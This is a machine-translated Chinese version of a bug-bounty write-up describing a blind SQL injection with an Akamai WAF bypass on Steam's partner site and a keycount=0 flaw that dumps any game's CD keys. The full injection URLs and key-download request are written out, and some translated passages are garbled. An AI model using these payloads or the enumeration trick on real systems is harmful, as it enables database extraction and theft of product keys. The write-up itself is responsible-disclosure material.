我如何破解Steam。 两次

哈Ha! 今天,我将告诉您,Valve为什么会在漏洞奖励计划中支付最大的赏金。 欢迎来到猫!



1. SQL注入


partner.steampowered.com服务旨在接收Steam合作伙伴的财务信息。 在销售报告页面上,绘制了带有按钮的图形,这些按钮可更改统计信息的显示时间。 它们在绿色矩形中:



统计信息下载请求如下所示:


其中“ UA”是国家/地区代码。

好了,现在该是报价了!
让我们尝试“ UA'”:



统计信息未返回,这是可以预期的。

现在为“ UA””:



统计信息又回来了,看起来像是一次注入!

怎么了
假设数据库指令如下所示:

SELECT * FROM countries WHERE country_code = `UA`; 

如果发送UA',则数据库指令将为:

 SELECT * FROM countries WHERE country_code = `UA``; 

注意到额外的报价了吗? 这意味着该指令无效。
根据SQL语法,下面的查询是完全有效的(没有多余的引号):

 SELECT * FROM countries WHERE country_code = `UA```; 

请注意,我们正在处理countryFilter []数组。 我假设如果我们在查询中多次复制countryFilter []参数,那么我们发送的所有值将以这种方式组合在SQL查询中:

 'value1', 'value2', 'value3' 

我们检查并确保:



实际上,我们从数据库中请求了三个国家的统计信息:

 `UA`, `,` ,`RU` 

语法正确-统计信息已返回:)

Web应用程序防火墙绕过

Steam服务器躲在Akamai WAF的后面。 这种可耻的做法是将木棍插入好黑客(并非如此)中。 但是,我可以通过将数组的值组合到一个查询(如上所述)中并进行注释来克服它。 首先,确保后者可用:

 ?countryFilter[]=UA`/*&countryFilter[]=*/,`RU 

该请求有效,因此我们的分类中有任何评论。
我们有几个语法选项,用于测试有效负载的本地数据库,注释字符和所有编码的无限数量的引号,以及python上的自写脚本,所有数据库的文档,有关如何绕过防火墙的说明,维基百科和antichest。 这并不是注射促进的必要储备,但是由于它开始破坏数据库,因此很难停止...
WAF在遇到请求中的功能时会阻止该请求。 您知道DB_NAME / ** / ()是有效的函数调用吗? 防火墙也知道并阻止。 但是,借助此功能,我们可以将函数调用分为两个参数!

 ?countryFilter[]=UA',DB_NAME/*&countryFilter[]=*/(),'RU 

我们仍然DB_NAME / * * / ()发送了一个请求-WAF什么都不懂,但是数据库成功地处理了这样一条指令。

从数据库中检索值

因此,获取DB_NAME()值的长度的示例:

 https://partner.steampowered.com/report_xml.php?query=QuerySteamHistory&countryFilter[]=',(SELECT/*&countryFilter[]=*/CASE/**/WHEN/*&countryFilter[]=*/(len(DB_NAME/*&countryFilter[]=*/())/*&countryFilter[]=*/=1)/**/THEN/**/'UA'/**/ELSE/*&countryFilter[]=*/'qwerty'/**/END),' 

在SQL中:

 SELECT CASE WHEN (len(DB_NAME())= 1) THEN 'UA' ELSE 'qwerty' END 

好吧,人类:

   DB_NAME()  "1",   “UA”,   “qwerty”. 

这意味着如果比较正确,那么作为回报,我们将获得国家“ UA”的统计信息。 不难猜测,从1到无穷大的数值,我们迟早会找到合适的数值。

同样,您可以遍历文本值:

    DB_NAME()  “a”,  "UA",  "qwerty". 

通常,“子字符串”功能用于获取第N个字符,但WAF固执地阻止了该字符。 在这里,组合可以解救:

 right(left(system_user,N),1) 

如何运作? 我们得到system_user值的N个字符,从中取最后一个字符。
想象一下system_user =“ steam”。 这是获取第三个字符的样子:

 left(system_user,3) = ste right(“ste”,1) = e 

通过一个简单的脚本,该过程是自动化的,我得到了主机名,system_user,版本和所有数据库的名称。 这些信息足以证明关键性(后者甚至是多余的,但很有趣)。

5小时后,该漏洞已修复,但8小时后将其设置为“已分类”状态,该死,对我来说,这是3个小时,我的大脑很难度过从拒绝到接受的整个阶段。

偏执狂的解释
由于该漏洞未被指定为接受,因此我认为该线尚未到达我的报告。 但是他们修复了该错误,这意味着他们可以在我之前注册它。

2.获取任何游戏的所有键


在Steam合作伙伴界面中,提供了用于生成游戏密钥的功能。
您可以使用以下请求下载生成的密钥集:

 https://partner.steamgames.com/partnercdkeys/assignkeys/ &sessionid=xxxxxxxxxxxxx&keyid=123456&sourceAccount=xxxxxxxxx&appid=xxxxxx&keycount=1&generateButton=Download 

在此请求中, keyid参数是密钥集的ID, keycount是必须从该集合中获取的密钥数。

当然,我的手立即伸出手来驱动不同的keyid ,但是作为响应,我遇到了一个错误:“ 无法生成CD密钥:没有为用户分配。 ”。 事实证明,并非一切都如此简单,Steam检查我是否拥有请求的键集。 我如何解决这个测试的? 注意...

 keycount=0 

生成了带有游戏门户2的36,000键的文件。哇。
只有一组钥匙。 而目前的所有布景超过430,000。 因此,通过对keyid值进行排序 我是一个潜在的攻击者,可以下载Steam游戏开发人员曾经生成的所有密钥。

结论


  • 顶级公司提供的昂贵的WAF系统远不能保证Web应用程序的安全性。
  • 如果您是一个Bug猎人,请尝试尽可能深入。 用户访问界面的次数越少,在该界面中发现漏洞的可能性就越大。
  • 开发人员和企业主,没有绝对安全的应用程序! 但是你坚持。 心情愉快!

但是认真
进行渗透测试,为漏洞付费,进行战略思考。

Source: https://habr.com/ru/post/zh-CN421215/


All Articles